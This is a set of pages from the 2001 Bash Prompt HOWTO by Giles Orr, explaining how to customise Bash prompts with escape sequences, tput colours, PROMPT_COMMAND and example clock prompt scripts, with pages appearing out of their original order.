Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Next

Chapter 10. Loading Prompt Colours Dynamically

Prev | Home | Next
Loading Different Prompts in Different X Terms |  | A "Proof of Concept" Example


Prompt Code Snippets

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Next

Chapter 11. Prompt Code Snippets

Table of Contents
11.1. Built-in Escape Sequences
11.2. Date and Time
11.3. Counting Files in the Current Directory
11.4. Total Bytes in the Current Directory
11.5. Checking the Current TTY
11.6. Stopped Jobs Count
11.7. Load
11.8. Uptime
11.9. Number of Processes
11.10. Controlling the Size and Appearance of $PWD
11.11. Laptop Power
11.12. Having the Prompt Ignored on Cut and Paste
11.13. New Mail

This section shows how to put various pieces of information into the Bash prompt. There are an infinite number of things that could be put in your prompt. Feel free to send me examples, I'll try to include what I think will be most widely used. If you have an alternate way to retrieve a piece of information here, and feel your method is more efficient, please contact me. It's easy to write bad code, I do it often, but it's great to write elegant code, and a pleasure to read it. I manage it every once in a while, and would love to have more of it to put in here.

To incorporate shell code in prompts, it has to be escaped. Usually, this will mean putting it inside \$(<command>) so that the output of command is substituted each time the prompt is generated.

Please keep in mind that I develop and test this code on a single user 900 MHz Athlon with 256 meg of RAM, so the delay generated by these code snippets doesn't usually mean much to me. To help with this, I recently assembled a 25 MHz 486 SX with 16 meg of RAM, and you will see the output of the "time" command for each snippet to indicate how much of a delay it causes on a slower machine.

Prev | Home | Next
A "Proof of Concept" Example |  | Built-in Escape Sequences


Example Prompts

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Next

Chapter 12. Example Prompts

Table of Contents
12.1. Examples on the Web
12.2. A "Lightweight" Prompt
12.3. Dan's Prompt
12.4. Elite from Bashprompt Themes
12.5. A "Power User" Prompt
12.6. Prompt Depending on Connection Type
12.7. A Prompt the Width of Your Term
12.8. The Floating Clock Prompt
12.9. The Elegant Useless Clock Prompt
Prev | Home | Next
New Mail |  | Examples on the Web


The Floating Clock Prompt

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 12. Example Prompts Next

12.8. The Floating Clock Prompt

I've rewritten this prompt several times. It was originally written using octal escape sequences, but the ones I needed most for this (save and restore cursor position) aren't honoured by one of the commonest terminal emulators, rxvt. I rewrote it using tput, and that's what you see here. The required tput codes seem to be universally honoured. The body of the prompt is essentially the same as the "Lightweight" prompt shown earlier, but a clock is kept floating in the upper right corner of the term. It will reposition itself correctly even if the term is resized.

#!/bin/bash

#   Rewrite of "clock" using tput

function prompt_command {
#  prompt_x is where to position the cursor to write the clock
let prompt_x=$(tput cols)-6
#  Move up one; not sure why we need to do this, but without this, I always
#  got an extra blank line between prompts
tput cuu1
tput sc
tput cup 0 ${prompt_x}
tput setaf 4 ; tput bold
echo -n "["
tput setaf 1
echo -n "$(date +%H%M)"
tput setaf 4 ; tput bold
echo -n "]"
tput rc
}

PROMPT_COMMAND=prompt_command

function clockt {
local       BLUE="\[$(tput setaf 4 ; tput bold)\]"
local  LIGHT_RED="\[$(tput setaf 1 ; tput bold)\]"
local      WHITE="\[$(tput setaf 7 ; tput bold)\]"
local  NO_COLOUR="\[$(tput sgr0)\]"
case $TERM in
    xterm*|rxvt*)
        TITLEBAR='\[\033]0;\u@\h:\w\007\]'
        ;;
    *)
        TITLEBAR=""
        ;;
esac

PS1="${TITLEBAR}\
$BLUE[$LIGHT_RED\u@\h:\w$BLUE]\
$WHITE\$$NO_COLOUR "
PS2='> '
PS4='+ '
}

The floating clock prompt in action. The clock will stay in correct position even if the term is resized.

Prev | Home | Next
A Prompt the Width of Your Term | Up | The Elegant Useless Clock Prompt


GNU Free Documentation License

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Next

Appendix A. GNU Free Documentation License

Table of Contents
0. PREAMBLE
1. APPLICABILITY AND DEFINITIONS
2. VERBATIM COPYING
3. COPYING IN QUANTITY
4. MODIFICATIONS
5. COMBINING DOCUMENTS
6. COLLECTIONS OF DOCUMENTS
7. AGGREGATION WITH INDEPENDENT WORKS
8. TRANSLATION
9. TERMINATION
10. FUTURE REVISIONS OF THIS LICENSE
How to use this License for your documents

Version 1.1, March 2000

Copyright (C) 2000 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

Prev | Home | Next
The Elegant Useless Clock Prompt |  | PREAMBLE


Bash Prompt HOWTO

$Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $

Giles Orr

Copyright © 1998, 1999, 2000, 2001 by Giles Orr

Creating and controlling terminal and xterm prompts is discussed, including incorporating standard escape sequences to give username, current working directory, time, etc. Further suggestions are made on how to modify xterm title bars, use external functions to provide prompt information, and how to use ANSI colours.

Table of Contents
1. Introduction and Administrivia
1.1. Introduction
1.2. Revision History
1.3. Requirements
1.4. How To Use This Document
1.5. Document Versions, Comments and Suggestions
1.6. Translations
1.7. Problems
1.8. Credits/Bibliography
1.9. Disclaimer
2. Bash and Bash Prompts
2.1. What is Bash?
2.2. What Can Tweaking Your Bash Prompt Do For You?
2.3. Why Bother?
2.4. The First Step
2.5. Bash Prompt Escape Sequences
2.6. Setting the PS? Strings Permanently
3. Bash Programming and Shell Scripts
3.1. Variables
3.2. Quotes and Special Characters
3.3. Command Substitution
3.4. Non-Printing Characters in Prompts
3.5. Sourcing a File
3.6. Functions, Aliases, and the Environment
4. External Commands
4.1. PROMPT_COMMAND
4.2. External Commands in the Prompt
4.3. What to Put in Your Prompt
5. Saving Complex Prompts
6. ANSI Escape Sequences: Colours and Cursor Movement
6.1. Colours
6.2. Cursor Movement
6.3. Xterm Title Bar Manipulations
6.4. Colours and Cursor Movement With tput
7. Special Characters: Octal Escape Sequences
8. The Bash Prompt Package
8.1. Availability
8.2. Xterm Fonts
8.3. Changing the Xterm Font
9. Loading a Different Prompt
9.1. Loading a Different Prompt, Later
9.2. Loading a Different Prompt, Immediately
9.3. Loading Different Prompts in Different X Terms
10. Loading Prompt Colours Dynamically
10.1. A "Proof of Concept" Example
11. Prompt Code Snippets
11.1. Built-in Escape Sequences
11.2. Date and Time
11.3. Counting Files in the Current Directory
11.4. Total Bytes in the Current Directory
11.5. Checking the Current TTY
11.6. Stopped Jobs Count
11.7. Load
11.8. Uptime
11.9. Number of Processes
11.10. Controlling the Size and Appearance of $PWD
11.11. Laptop Power
11.12. Having the Prompt Ignored on Cut and Paste
11.13. New Mail
12. Example Prompts
12.1. Examples on the Web
12.2. A "Lightweight" Prompt
12.3. Dan's Prompt
12.4. Elite from Bashprompt Themes
12.5. A "Power User" Prompt
12.6. Prompt Depending on Connection Type
12.7. A Prompt the Width of Your Term
12.8. The Floating Clock Prompt
12.9. The Elegant Useless Clock Prompt
A. GNU Free Documentation License
0. PREAMBLE
1. APPLICABILITY AND DEFINITIONS
2. VERBATIM COPYING
3. COPYING IN QUANTITY
4. MODIFICATIONS
5. COMBINING DOCUMENTS
6. COLLECTIONS OF DOCUMENTS
7. AGGREGATION WITH INDEPENDENT WORKS
8. TRANSLATION
9. TERMINATION
10. FUTURE REVISIONS OF THIS LICENSE
How to use this License for your documents
Next
Introduction and Administrivia


Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".

Home


Non-Printing Characters in Prompts

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 3. Bash Programming and Shell Scripts Next

3.4. Non-Printing Characters in Prompts

Many of the changes that can be made to Bash prompts that are discussed in this HOWTO use non-printing characters. Changing the colour of the prompt text, changing an Xterm title bar, and moving the cursor position all require non-printing characters.

If I want a very simple prompt consisting of a greater-than sign and a space:

[giles@nikola giles]$ PS1='> '
>

This is just a two character prompt. If I modify it so that it's a bright yellow greater-than sign (colours are discussed in their own section):

> PS1='\033[1;33m>\033[0m '
>

This works fine - until you type in a large command line. Because the prompt still only consists of two printing characters (a greater-than sign and a space) but the shell thinks that this prompt is eleven characters long (I think it counts '\033' , '[1' and '[0' as one character each). You can see this by typing a really long command line - you will find that the shell wraps the text before it gets to the edge of the terminal, and in most cases wraps it badly. This is because it's confused about the actual length of the prompt.

So use this instead:

> PS1='\[\033[1;33m\]>\[\033[0m\] '

This is more complex, but it works. Command lines wrap properly. What's been done is to enclose the '\033[1;33m' that starts the yellow colour in '\[' and '\]' which tells the shell "everything between these escaped square brackets, including the brackets themselves, is a non-printing character." The same is done with the '\033[0m' that ends the colour.

Prev | Home | Next
Command Substitution | Up | Sourcing a File


Saving Complex Prompts

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Next

Chapter 5. Saving Complex Prompts

As the prompts you use become more complex, it becomes more and more cumbersome to type them in at the prompt, and more practical to make them into some sort of text file. I have adopted the method used by the Bashprompt package (discussed later in this document: Chapter 8), which is to put the primary commands for the prompt in one file with the PS1 string in particular defined within a function of the same name as the file itself. It's not the only way to do it, but it works well. Take the following example:

#!/bin/bash

function tonka {

#   Named "Tonka" because of the colour scheme

local WHITE="\[\033[1;37m\]"
local LIGHT_BLUE="\[\033[1;34m\]"
local YELLOW="\[\033[1;33m\]"
local NO_COLOUR="\[\033[0m\]"

case $TERM in
    xterm*|rxvt*)
        TITLEBAR='\[\033]0;\u@\h:\w\007\]'
        ;;
    *)
        TITLEBAR=""
        ;;
esac

PS1="$TITLEBAR\
$YELLOW-$LIGHT_BLUE-(\
$YELLOW\u$LIGHT_BLUE@$YELLOW\h\
$LIGHT_BLUE)-(\
$YELLOW\$PWD\
$LIGHT_BLUE)-$YELLOW-\
\n\
$YELLOW-$LIGHT_BLUE-(\
$YELLOW\$(date +%H%M)$LIGHT_BLUE:$YELLOW\$(date \"+%a,%d %b %y\")\
$LIGHT_BLUE:$WHITE\\$ $LIGHT_BLUE)-$YELLOW-$NO_COLOUR "

PS2="$LIGHT_BLUE-$YELLOW-$YELLOW-$NO_COLOUR "

}

You can work with it as follows:

[giles@nikola:/bin (4.498 Mb)]$ cd        (1)
[giles@nikola:~ (0 Mb)]$ vim tonka        (2)
...                                       (3)
[giles@nikola:~ (0 Mb)]$ source tonka     (4)
[giles@nikola:~ (0 Mb)]$ tonka            (5)
[giles@nikola:~ (0 Mb)]$ unset tonka      (6)
Move to the directory where you want to save the prompt
Edit the prompt file with your preferred editor
Enter the prompt text given above as "tonka"
Read the prompt function into the environment
Execute the prompt function
Optionally, unclutter your environment by unsetting the function
Prev | Home | Next
What to Put in Your Prompt |  | ANSI Escape Sequences: Colours and Cursor Movement


Setting the PS? Strings Permanently

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 2. Bash and Bash Prompts Next

2.6. Setting the PS? Strings Permanently

Various people and distributions set their PS? strings in different places. The most common places are /etc/profile, /etc/bashrc, ~/.bash_profile, and ~/.bashrc . Johan Kullstam (johan19@idt.net) writes:

the PS1 string should be set in .bashrc. this is because non-interactive bashes go out of their way to unset PS1. the bash man page tells how the presence or absence of PS1 is a good way of knowing whether one is in an interactive vs non-interactive (ie script) bash session.

the way i realized this is that startx is a bash script. what this means is, startx will wipe out your prompt. when you set PS1 in .profile (or .bash_profile), login at console, fire up X via startx, your PS1 gets nuked in the process leaving you with the default prompt.

one workaround is to launch xterms and rxvts with the -ls option to force them to read .profile. but any time a shell is called via a non-interactive shell-script middleman PS1 is lost. system(3) uses sh -c which if sh is bash will kill PS1. a better way is to place the PS1 definition in .bashrc. this is read every time bash starts and is where interactive things - eg PS1 should go.

therefore it should be stressed that PS1=..blah.. should be in .bashrc and not .profile.

I tried to duplicate the problem he explains, and encountered a different one: my PROMPT_COMMAND variable (which will be introduced later) was blown away. My knowledge in this area is somewhat shaky, so I'm going to go with what Johan says.

Prev | Home | Next
Bash Prompt Escape Sequences | Up | Bash Programming and Shell Scripts


The Bash Prompt Package

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Next

Chapter 8. The Bash Prompt Package

Table of Contents
8.1. Availability
8.2. Xterm Fonts
8.3. Changing the Xterm Font
Prev | Home | Next
Special Characters: Octal Escape Sequences |  | Availability


The Elegant Useless Clock Prompt

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 12. Example Prompts Next

12.9. The Elegant Useless Clock Prompt

This is one of the more attractive (and useless) prompts I've made. Because many X terminal emulators don't implement cursor position save and restore, the alternative when putting a clock in the upper right corner is to anchor the cursor at the bottom of the terminal. This builds on the idea of the "termwide" prompt above, drawing a line up the right side of the screen from the prompt to the clock. A VGA font is required.

Note: There is an odd substitution in here, that may not print properly being translated from SGML to other formats: I had to substitute the screen character for \304 - I would normally have just included the sequence "\304", but it was necessary to make this substitution in this case.

#!/bin/bash

#   This prompt requires a VGA font.  The prompt is anchored at the bottom
#   of the terminal, fills the width of the terminal, and draws a line up
#   the right side of the terminal to attach itself to a clock in the upper
#   right corner of the terminal.

function prompt_command {
#   Calculate the width of the prompt:
hostnam=$(echo -n $HOSTNAME | sed -e "s/[\.].*//")
#   "whoami" and "pwd" include a trailing newline
usernam=$(whoami)
newPWD="${PWD}"
#   Add all the accessories below ...
let promptsize=$(echo -n "--(${usernam}@${hostnam})---(${PWD})-----" \
                 | wc -c | tr -d " ")
#   Figure out how much to add between user@host and PWD (or how much to
#   remove from PWD)
let fillsize=${COLUMNS}-${promptsize}
fill=""
#   Make the filler if prompt isn't as wide as the terminal:
while [ "$fillsize" -gt "0" ]
do
   fill="${fill}Ä"
   # The A with the umlaut over it (it will appear as a long dash if
   # you're using a VGA font) is \304, but I cut and pasted it in
   # because Bash will only do one substitution - which in this case is
   # putting $fill in the prompt.
   let fillsize=${fillsize}-1
done
#   Right-truncate PWD if the prompt is going to be wider than the terminal:
if [ "$fillsize" -lt "0" ]
then
   let cutt=3-${fillsize}
   newPWD="...$(echo -n $PWD | sed -e "s/\(^.\{$cutt\}\)\(.*\)/\2/")"
fi
#
#   Create the clock and the bar that runs up the right side of the term
#
local LIGHT_BLUE="\033[1;34m"
local     YELLOW="\033[1;33m"
#   Position the cursor to print the clock:
echo -en "\033[2;$((${COLUMNS}-9))H"
echo -en "$LIGHT_BLUE($YELLOW$(date +%H%M)$LIGHT_BLUE)\304$YELLOW\304\304\277"
local i=${LINES}
echo -en "\033[2;${COLUMNS}H"
#   Print vertical dashes down the side of the terminal:
while [ $i -ge 4 ]
do
   echo -en "\033[$(($i-1));${COLUMNS}H\263"
   let i=$i-1
done

let prompt_line=${LINES}-1
#   This is needed because doing \${LINES} inside a Bash mathematical
#   expression (ie. $(())) doesn't seem to work.
}

PROMPT_COMMAND=prompt_command

function clock3 {
local LIGHT_BLUE="\[\033[1;34m\]"
local     YELLOW="\[\033[1;33m\]"
local      WHITE="\[\033[1;37m\]"
local LIGHT_GRAY="\[\033[0;37m\]"
local  NO_COLOUR="\[\033[0m\]"

case $TERM in
    xterm*)
        TITLEBAR='\[\033]0;\u@\h:\w\007\]'
        ;;
    *)
        TITLEBAR=""
        ;;
esac

PS1="$TITLEBAR\
\[\033[\${prompt_line};0H\]
$YELLOW\332$LIGHT_BLUE\304(\
$YELLOW\${usernam}$LIGHT_BLUE@$YELLOW\${hostnam}\
${LIGHT_BLUE})\304${YELLOW}\304\${fill}${LIGHT_BLUE}\304(\
$YELLOW\${newPWD}\
$LIGHT_BLUE)\304$YELLOW\304\304\304\331\
\n\
$YELLOW\300$LIGHT_BLUE\304(\
$YELLOW\$(date \"+%a,%d %b %y\")\
$LIGHT_BLUE:$WHITE\$$LIGHT_BLUE)\304\
$YELLOW\304\
$LIGHT_GRAY "

PS2="$LIGHT_BLUE\304$YELLOW\304$YELLOW\304$NO_COLOUR "

}
Prev | Home | Next
The Floating Clock Prompt | Up | GNU Free Documentation License


Introduction

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 1. Introduction and Administrivia Next

1.1. Introduction

I've been maintaining this document for three and a half years (I believe the first submitted version was January 1998). I've received a lot of e-mail, almost all of it positive with a lot of great suggestions, and I've had a really good time doing this. Thanks to everyone for the support, suggestions, and translations!

I've had several requests both from individuals and the LDP group to issue a new version of this document, and it's long past due (a year and a half since the last version) - for which I apologize. Converting this monster to DocBook format was a daunting task, and then when I realized that I could now include images, I decided I needed to include all the cool examples that currently reside on my homepage. Adding these is a slow process, especially since I'm improving the code as I go, so only a few are included so far. This document will probably always feel incomplete to me ... I think however that it's reasonably sound from a technical point of view (although I have some mailed in fixes that aren't in here yet - if you've heard from me, they'll be in here soon!) so I'm going to post it and hope I can get to another version soon.

One other revision of note: this document (as requested by the LDP) is now under the GFDL. Enjoy.

Prev | Home | Next
Introduction and Administrivia | Up | Revision History


Revision History

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 1. Introduction and Administrivia Next

1.2. Revision History

Revision History
Revision v0.89 | 2001-08-20 | Revised by: go
Added clockt example, several example images added, improved laptop power code, minor tweaks.
Revision v0.85 | 2001-07-31 | Revised by: go
Major revisions, plus change from Linuxdoc to DocBook.
Revision v0.76 | 1999-12-31 | Revised by: go
Revision v0.60 | 1998-01-07 | Revised by: go
Initial public release?

Prev | Home | Next
Introduction | Up | Requirements


Requirements

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 1. Introduction and Administrivia Next

1.3. Requirements

You will need Bash. This should be easy: it's the default shell for just about every Linux distribution I know of. The commonest version is now 2.0.x. Version 1.14.7 was the standard for a long time, but has mostly been replaced. I've been using Bash 2.0.x for quite a while now. With recent revisions of the HOWTO (later than July 2001) I've been using a lot of code (mainly ${} substitutions) that I believe is specific to 2.x and may not work with Bash 1.x. You can check your Bash version by typing echo $BASH_VERSION at the prompt. On my machine, it responds with 2.04.21(1)-release.

Shell programming experience would be good, but isn't essential: the more you know, the more complex the prompts you'll be able to create. I assume a basic knowledge of shell programming and Unix utilities as I go through this tutorial. However, my own shell programming skills are limited, so I give a lot of examples and explanation that may appear unnecessary to an experienced shell programmer.

Prev | Home | Next
Revision History | Up | How To Use This Document


How To Use This Document

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 1. Introduction and Administrivia Next

1.4. How To Use This Document

I include a lot of examples and explanatory text. Different parts will be of varying usefulness to different people. This has grown long enough that reading it straight through would be difficult - just read the sections you need, backtrack as necessary.

Prev | Home | Next
Requirements | Up | Document Versions, Comments and Suggestions


Document Versions, Comments and Suggestions

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 1. Introduction and Administrivia Next

1.5. Document Versions, Comments and Suggestions

This is a learning experience for me. I've come to know a fair bit about what can be done to create interesting and useful Bash Prompts, but I need your input to correct and improve this document. I no longer make code checks against older versions of Bash, let me know of any incompatibilities you find.

The latest version of this document should always be available at http://www.shelluser.net/~giles/bashprompt/. The latest official release should always be at http://www.linuxdoc.org. Please check these out, and feel free to e-mail me at <giles at shelluser dot net> with suggestions.

I use the Linux Documentation Project HOWTOs almost exclusively in the HTML format, so when I convert this from DocBook SGML (its native format), HTML is the only format I check thoroughly. If there are problems with other formats, I may not know about them and I'd appreciate a note about them.

There are issues with the PDF and RTF conversions (as of December 2000), including big problems with example code wrapping around the screen and getting mangled. I always keep my examples less than 80 characters wide, but the PDF version seems to wrap around 60. Please use online examples if the code in these versions don't work for you. But they do look very pretty.

Prev | Home | Next
How To Use This Document | Up | Translations


Translations

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 1. Introduction and Administrivia Next

1.6. Translations

It has proven quite difficult for me to keep track of the people who are translating this HOWTO. This list is out of date and incomplete: I include it for what it's worth, knowing that some of the links will always be broken.

If you are working on a translation, please notify me - especially if it's available at a linkable URL. Thanks.

Chinese: translation in progress by Allen Huang <lancelot@tomail.com.tw>. I will include a URL when I have it.

Dutch: translation is in progress by Ellen Bokhorst <bokkie@nl.linux.org>, and it is available at http://www.nl.linux.org/doc/HOWTO.

German: translation is in progress by Thomas Keil, <thomas@h-preissler.de>.

Italian: by Daniel Dui, <ddui@iee.org>, available at http://www.crs4.it/~dui/linux.html.

Japanese: http://www.jf.linux.or.jp/JF/JF-ftp/other-formats/Bash-Prompt/Bash-Prompt-HOWTO.html, provided by Akira Endo, <akendo@t3.rim.or.jp>. As of January 2000, This web site seems to be down, and Akira's e-mail doesn't work. I hope that they will resurface.

Norwegian: translation in progress by Sigmund Kyrre Ås <as@stud.ntnu.no>. It will be available at http://www.linux.no/nldp/dokumentasjon/howto.html.

Portuguese: translation is in progress by Mário Gamito, <mario.gamito@mail.telepac.pt>.

Spanish: translation by Iosu Santurtún <iosu@bigfoot.com> at http://mipagina.euskaltel.es/iosus/linux/Bash-Prompt-HOWTO.html.

Many thanks to all of them! URLs will be included as they're available.

Prev | Home | Next
Document Versions, Comments and Suggestions | Up | Problems


Problems

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 1. Introduction and Administrivia Next

1.7. Problems

This is a list of problems I've noticed while programming prompts. Don't start reading here, and don't let this list discourage you - these are mostly quite minor details. Just check back if you run into anything odd.

  • Many Bash features (such as math within $(()) among others) are compile time options. If you're using a binary distribution such as comes with a standard Linux distribution, all such features should be compiled in. But if you're working on someone else's system, this is worth keeping in mind if something you expected to work doesn't. Some notes about this in Learning the Bash Shell, p.260-262.

  • The terminal screen manager "screen" doesn't always get along with ANSI colours. I'm not a screen expert, unfortunately. Versions older than 3.7.6 may cause problems, but newer versions seem to work well in all cases. Old versions reduce all prompt colours to the standard foreground colour in X terminals.

  • Xdefaults files can override colours. Look in ~/.Xdefaults for lines referring to XTerm*background and XTerm*foreground (or possibly XTerm*Background and XTerm*Foreground).

  • One of the prompts mentioned in this document uses the output of "jobs" - as discussed at that time, "jobs" output to a pipe is broken in Bash 2.02.

  • ANSI cursor movement escape sequences aren't all implemented in all X terminals. That's discussed in its own section.

  • Some nice looking pseudo-graphics can be created by using a VGA font rather than standard Linux fonts. Unfortunately, these effects look awful if you don't use a VGA font, and there's no way to detect within a term what kind of font it's using.

  • Things that work under Bash 1.14.7 don't necessarily work the same under 2.0+, or vice versa.

  • I often use the code PS1="...\\$${NO_COLOUR} " at the end of my PS1 string. The \\$ is replaced by a "$" for a normal user, and a "#" if you are root, and the ${NO_COLOUR} is an escape sequence that stops any colour modifications made by the prompt. However, I've had problems seeing the "#" when I'm root. I believe this is because Bash doesn't like two dollar signs in a row. Use PS1="...\\$ ${NO_COLOUR}" instead. I'm still trying to figure out how to get rid of that extra space.

Prev | Home | Next
Translations | Up | Credits/Bibliography


Credits/Bibliography

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 1. Introduction and Administrivia Next

1.8. Credits/Bibliography

In producing this document, I have borrowed heavily from the work of the Bashprompt project at http://bash.current.nu/ (this site has been removed from its server as of July 2001 but Robert Current, the admin, assures me it will reappear soon). Other sources used include the xterm Title mini-HOWTO by Ric Lister, available at http://www.linuxdoc.org/HOWTO/mini/Xterm-Title.html, Ansi Prompts by Keebler, available at http://www.ncal.verio.com/~keebler/ansi.html (now deceased), How to make a Bash Prompt Theme by Stephen Webb, available at http://bash.current.nu/bash/HOWTO.html, and X ANSI Fonts by Stumpy, available at http://home.earthlink.net/~us5zahns/enl/ansifont.html.

Also of immense help were several conversations and e-mails from Dan, who used to work at Georgia College & State University, whose knowledge of Unix far exceeds mine. He's given me several excellent suggestions, and ideas of his have led to some interesting prompts.

Three books that have been very useful while programming prompts are Linux in a Nutshell by Jessica Heckman Perry (O'Reilly, 3rd ed., 2000), Learning the Bash Shell by Cameron Newham and Bill Rosenblatt (O'Reilly, 2nd ed., 1998) and Unix Shell Programming by Lowell Jay Arthur (Wiley, 1986. This is the first edition, the fourth came out in 1997).

Prev | Home | Next
Problems | Up | Disclaimer


Disclaimer

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 1. Introduction and Administrivia Next

1.9. Disclaimer

This document is available for free, and, while I have done the best I can to make it accurate and up to date, I take no responsibility for any problems you may encounter resulting from the use of this document.

Prev | Home | Next
Credits/Bibliography | Up | Bash and Bash Prompts


What is Bash?

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 2. Bash and Bash Prompts Next

2.1. What is Bash?

Descended from the Bourne Shell, Bash is a GNU product, the "Bourne Again SHell." It's the standard command line interface on most Linux machines. It excels at interactivity, supporting command line editing, completion, and recall. It also supports configurable prompts - most people realize this, but don't know how much can be done.

Prev | Home | Next
Bash and Bash Prompts | Up | What Can Tweaking Your Bash Prompt Do For You?


What Can Tweaking Your Bash Prompt Do For You?

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 2. Bash and Bash Prompts Next

2.2. What Can Tweaking Your Bash Prompt Do For You?

Most Linux systems have a default prompt in one colour (usually gray) that tells you your user name, the name of the machine you're working on, and some indication of your current working directory. This is all useful information, but you can do much more with the prompt: all sorts of information can be displayed (tty number, time, date, load, number of users, uptime ...) and the prompt can use ANSI colours, either to make it look interesting, or to make certain information stand out. You can also manipulate the title bar of an Xterm to reflect some of this information.

Prev | Home | Next
What is Bash? | Up | Why Bother?


Why Bother?

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 2. Bash and Bash Prompts Next

2.3. Why Bother?

Beyond looking cool, it's often useful to keep track of system information. One idea that I know appeals to some people is that it makes it possible to put prompts on different machines in different colours. If you have several Xterms open on several different machines, or if you tend to forget what machine you're working on and delete the wrong files (or shut down the server instead of the workstation), you'll find this a great way to remember what machine you're on.

For myself, I like the utility of having information about my machine and work environment available all the time. And I like the challenge of trying to figure out how to put the maximum amount of information into the smallest possible space while maintaining readability.

Prev | Home | Next
What Can Tweaking Your Bash Prompt Do For You? | Up | The First Step


The First Step

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 2. Bash and Bash Prompts Next

2.4. The First Step

The appearance of the prompt is governed by the shell variable PS1. Command continuations are indicated by the PS2 string, which can be modified in exactly the same ways discussed here - since controlling it is exactly the same, and it isn't as "interesting," I'll mostly be modifying the PS1 string. (There are also PS3 and PS4 strings. These are never seen by the average user - see the Bash man page if you're interested in their purpose.) To change the way the prompt looks, you change the PS1 variable. For experimentation purposes, you can enter the PS1 strings directly at the prompt, and see the results immediately (this only affects your current session, and the changes go away when you log out). If you want to make a change to the prompt permanent, look at the section below Section 2.6.

Before we get started, it's important to remember that the PS1 string is stored in the environment like any other environment variable. If you modify it at the command line, your prompt will change. Before you make any changes, you can save your current prompt to another environment variable:

[giles@nikola giles]$ SAVE=$PS1
[giles@nikola giles]$

The simplest prompt would be a single character, such as:

[giles@nikola giles]$ PS1=$
$ls
bin   mail
$

This demonstrates the best way to experiment with basic prompts, entering them at the command line. Notice that the text entered by the user appears immediately after the prompt: I prefer to use

$PS1="$ "
$ ls
bin   mail
$

which forces a space after the prompt, making it more readable. To restore your original prompt, just call up the variable you stored:

$ PS1=$SAVE
[giles@nikola giles]$

Prev | Home | Next
Why Bother? | Up | Bash Prompt Escape Sequences


Variables

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 3. Bash Programming and Shell Scripts Next

3.1. Variables

I'm not going to try to explain all the details of Bash scripting in a section of this HOWTO, just the details pertaining to prompts. If you want to know more about shell programming and Bash in general, I highly recommend Learning the Bash Shell by Cameron Newham and Bill Rosenblatt (O'Reilly, 1998). Oddly, my copy of this book is quite frayed. Again, I'm going to assume that you know a fair bit about Bash already. You can skip this section if you're only looking for the basics, but remember it and refer back if you proceed much farther.

Variables in Bash are assigned much as they are in any programming language:

testvar=5
foo=zen
bar="bash prompt"

Quotes are only needed in an assignment if a space (or special character, discussed shortly) is a part of the variable.

Variables are referenced slightly differently than they are assigned:

> echo $testvar
5
> echo $foo
zen
> echo ${bar}
bash prompt
> echo $NotAssigned

>

A variable can be referred to as $bar or ${bar}. The braces are useful when it is unclear what is being referenced: if I write $barley do I mean ${bar}ley or ${barley}? Note also that referencing a value that hasn't been assigned doesn't generate an error, instead returning nothing.

Prev | Home | Next
Bash Programming and Shell Scripts | Up | Quotes and Special Characters


Quotes and Special Characters

Bash Prompt HOWTO: $Revision: 0.89 $, $Date: 2001/08/22 00:57:34 $
Prev Chapter 3. Bash Programming and Shell Scripts Next

3.2. Quotes and Special Characters

If you wish to include a special character in a variable, you will have to quote it differently:

> newvar=$testvar
> echo $newvar
5
> newvar="$testvar"
> echo $newvar
5
> newvar='$testvar'
> echo $newvar
$testvar
> newvar=\$testvar
> echo $newvar
$testvar
>

The dollar sign isn't the only character that's special to the Bash shell, but it's a simple example. An interesting step we can take to make use of assigning a variable name to another variable name is to use eval to dereference the stored variable name:

> echo $testvar
5
> echo $newvar
$testvar
> eval echo $newvar
5
>

